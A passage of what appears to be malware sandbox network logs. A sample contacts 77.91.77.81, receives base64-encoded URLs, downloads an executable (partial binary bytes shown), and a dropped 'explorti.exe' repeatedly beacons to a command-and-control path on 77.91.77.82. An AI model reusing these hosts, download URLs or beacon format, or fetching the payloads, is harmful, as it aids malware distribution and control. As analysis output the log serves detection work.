44 41 41 4b 46 49 45 43 47 44 42 2d 2d 0d 0a Data Ascii: ------CAAEBFHJJDAAKFIECGDBContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------CAAEBFHJJDAAKFIECGDBContent-Disposition: form-data; name="message"jbdtaijovg------CAAEBFHJJDAAKFIECGDB--
Jul 5, 2024 06:23:14.213459969 CEST	331	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	77.91.77.81	80	2340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:14.225435019 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jul 5, 2024 06:23:14.913853884 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:14 GMT Content-Type: application/octet-stream Content-Length: 1901056 Last-Modified: Fri, 05 Jul 2024 04:04:33 GMT Connection: keep-alive ETag: "668770d1-1d0200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELaf@K@pK=@Xl&K&K @.rsrc@.idata @ *@rxceoony@1@zwqjotmk0K@.taggant0@K"@
Jul 5, 2024 06:23:14.913873911 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 5, 2024 06:23:14.913902044 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 5, 2024 06:23:14.913912058 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 5, 2024 06:23:14.913935900 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 5, 2024 06:23:14.913949013 CEST	1236	IN	Data Raw: b7 ec 1f 71 3e 5c f0 39 f7 eb c6 71 2f cc 00 ee bb d0 d2 76 1f 9f 98 d2 8f 90 af ec 9b b6 e1 b1 bc d0 7b ef 24 71 4c 96 e7 a3 53 da bd b1 30 91 8d a0 d8 e0 8d 74 08 0d 8e 82 32 ee 7f d0 f8 5e a3 78 a0 8a 8d 50 31 10 e9 d3 13 26 ac 8b 4f 6e ac 4c Data Ascii: q>\9q/v{$qLS0t2^xP1&OnL~\q=xQCQy@x0_C?bC//61:^c2 [10P((`\3g`q#dY
Jul 5, 2024 06:23:14.913969994 CEST	896	IN	Data Raw: 88 d0 f3 bf cd 5e 54 53 c2 55 99 cd f5 60 84 8d b3 23 3c e1 48 f4 1f 4a 34 9f ae 92 f8 bc c6 1a 9a a1 50 c2 59 f2 f2 c0 4b 1e 10 19 75 d1 fa 4e be 19 2a 8d 48 44 33 b1 e9 71 7a 2d 57 3f 3d ad 69 38 24 39 ae 60 6a dd 70 66 df 16 87 34 21 ac 5c 02 Data Ascii: ^TSU`#<HJ4PYKuNHD3qz-W?=i8$9`jpf4!\,5pWG}`W{fW{vW05/Y3jVWJYn0]?5JOsb"+U(.<:D\|n<{p!77PJNcO\|M^=8
Jul 5, 2024 06:23:14.922787905 CEST	1236	IN	Data Raw: 8a 89 7b c2 a2 19 88 16 a4 1c 32 15 be 9b 6d ef ac f8 91 b8 06 32 cc 65 3b f7 bc 71 95 c9 b0 26 bd f8 e9 03 0c 13 fd 12 96 ad 0e 39 dc bc 30 3a 13 d7 21 43 37 1e 91 69 b6 3e 1d 2e 57 1c ee b3 5b 72 90 69 94 5a 45 6f 13 dc 33 08 2b 58 3e 29 98 e8 Data Ascii: {2m2e;q&90:!C7i>.W[riZEo3+X>)2ocH.XI^\Xt)MS,ZMH'}>vs>\*\`0WjEG[:BL/x$\|N=~=)R-T6s[ My0F+_
Jul 5, 2024 06:23:14.922801971 CEST	1236	IN	Data Raw: bb 62 fb 14 a0 5a ed 56 bb 8f 3f f6 c3 f4 fb 7a fe 69 b7 db 90 a3 67 46 8b f0 b5 cd 23 96 2f b0 43 56 39 f5 59 ac a7 5e 0f 59 14 45 db 94 58 a2 97 b8 a3 2f e3 7e ea 10 ce 38 bc 09 09 4e eb 67 fd ad fa 62 a1 85 fd 77 ac be 16 17 e7 f0 be 70 92 4f Data Ascii: bZV?zigF#/CV9Y^YEX/~8NgbwpOdwSsLF/0Y@*? O+s@%\|=ckl\/2+NB`2-C#)H sKv^\|2.300/4N3'\(n>
Jul 5, 2024 06:23:14.922821045 CEST	1236	IN	Data Raw: 07 db 73 73 9b 0d ac 2a 0b 2c 62 cd 9a e4 57 0d e6 a4 00 d2 97 88 9f aa 39 5d 1e d5 0f 62 40 a7 44 ad 7d 0a 86 80 2b eb b1 a3 2f 0e 01 9d d3 b2 ef 08 aa 4e b3 fb 59 d8 d3 91 e1 c0 89 49 21 ed b3 5b 39 7a 7d fc 03 c6 6f 0c 18 d8 e5 0f f2 e5 f6 5c Data Ascii: ss*,bW9]b@D}+/NYI![9z}o\IErAaM0c 5Q^qSgP\|")IBW_/ j!Htt`47Rb{6:%H41~^MIuv\|tWX(bn_T[7 Nu
Jul 5, 2024 06:23:14.922991037 CEST	1236	IN	Data Raw: 4e d1 05 81 c4 d9 51 f8 2e 61 73 8f 35 58 70 ac 89 2b cd 22 99 e8 d0 16 7c b5 2e 4f ae 9a 20 f7 63 5b 39 fd cf be f3 24 37 93 ad f6 06 69 7c 67 1c a2 7f b3 2f cb 60 4f 37 6c e9 8a dd 23 26 f3 9e 0c b8 fc ef d4 ab cb 52 3d 57 66 ff f8 eb 57 26 78 Data Ascii: NQ.as5Xp+"\|.O c[9$7i\|g/`O7l#&R=WfW&x]NZ\hL3F\|$cjnFOn0H!VQ0m$@fU:$'&-6KLbSsdp,$C[TXQe ?4O~yW(Vo74\1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	51497	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:24.250521898 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:24.963637114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:24.965913057 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:25.203444958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	51498	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:25.313576937 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:26.051619053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:26.052484989 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:26.279643059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	51499	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:26.391222954 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:27.102061987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:27.112283945 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:27.333010912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	51500	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:27.501421928 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:28.207847118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:28.208863974 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:28.426925898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	51501	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:28.547617912 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:29.257324934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:29.258419037 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:29.480097055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	51502	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:29.594481945 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:30.333173990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:30.334130049 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:30.567550898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	51503	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:30.688086987 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:31.389122963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:31.389950037 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:31.606811047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	51504	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:31.720314980 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:32.448474884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:32.466368914 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:32.695355892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	51505	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:32.814934969 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:33.530674934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
